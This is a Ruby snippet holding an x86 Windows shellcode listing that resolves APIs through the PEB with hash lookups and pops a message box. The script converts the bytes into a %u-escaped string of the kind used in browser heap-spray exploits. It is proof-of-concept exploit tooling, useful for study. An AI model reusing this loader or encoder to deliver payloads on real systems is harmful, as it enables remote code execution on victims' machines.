x = %q{ 60 pushad 33 DB xor ebx,ebx 64 8B 73 30 mov esi,dword ptr fs:[ebx+30h] 8B 76 0C mov esi,dword ptr [esi+0Ch] 8B 76 1C mov esi,dword ptr [esi+1Ch] AD lods dword ptr [esi] 8B 70 08 mov esi,dword ptr [eax+8] 68 6F 6F 21 00 push str 68 6B 69 6B 6F push str 8B C4 mov eax,esp 50 push eax 50 push eax EB 56 jmp later 60 pushad 8B EE mov ebp,esi 03 76 3C add esi,dword ptr [esi+3Ch] 8B 46 78 mov eax,dword ptr [esi+78h] 33 DB xor ebx,ebx 39 5E 7C cmp dword ptr [esi+7Ch],ebx 74 3E je do_msgbox+93h (405986h) 8D 54 05 18 lea edx,[ebp+eax+18h] 8B 0A mov ecx,dword ptr [edx] 8B 42 08 mov eax,dword ptr [edx+8] 03 C5 add eax,ebp 8B 74 88 FC mov esi,dword ptr [eax+ecx*4-4] 03 F5 add esi,ebp 50 push eax 33 C0 xor eax,eax 33 DB xor ebx,ebx AC lods byte ptr [esi] 85 C0 test eax,eax 74 07 je do_msgbox+77h (40596Ah) 03 D8 add ebx,eax C1 CB 0D ror ebx,0Dh EB F4 jmp do_msgbox+6Bh (40595Eh) 58 pop eax 3B DF cmp ebx,edi E0 E4 loopne do_msgbox+60h (405953h) E3 15 jecxz do_msgbox+93h (405986h) 8B 72 0C mov esi,dword ptr [edx+0Ch] 03 F5 add esi,ebp 0F B7 0C 4E movzx ecx,word ptr [esi+ecx*2] 8B 72 04 mov esi,dword ptr [edx+4] 03 F5 add esi,ebp 8B 3C 8E mov edi,dword ptr [esi+ecx*4] 03 FD add edi,ebp EB 02 jmp do_msgbox+95h (405988h) 33 FF xor edi,edi 89 7C 24 1C mov dword ptr [esp+1Ch],edi 61 C3 popad ret 55 push ebp 8B EC mov ebp,esp 68 33 32 00 20 push 3233h 68 75 73 65 72 push 72657375h 54 push esp BF 72 60 77 74 mov edi,74776072h E8 92 FF FF FF call getproc FF D0 call eax 50 push eax 56 push esi 8B F0 mov esi,eax BF 6D E2 45 15 mov edi,1545E26Dh E8 82 FF FF FF call do_msgbox+45h (405938h) 6A 00 push 0 FF 75 08 push dword ptr [ebp+0Ch] FF 75 04 push dword ptr [ebp+8] 6A 00 push 0 FF D0 call eax 5E pop esi BF 4E 6E 02 AD mov edi,0AD026E4Eh E8 6B FF FF FF call do_msgbox+45h (405938h) FF D0 call eax C9 leave 58 58 58 58 61 popad //C3// ret } odd = true uu = '' x.split(/$/).map { |s| s.gsub(/([0-9A-F][0-9A-F]) /) { if odd odd = false uu << '%u' else odd = true end uu << $1 nil } } uu << '90' unless odd puts uu.gsub(/%u(..)(..)/, '%u\2\1')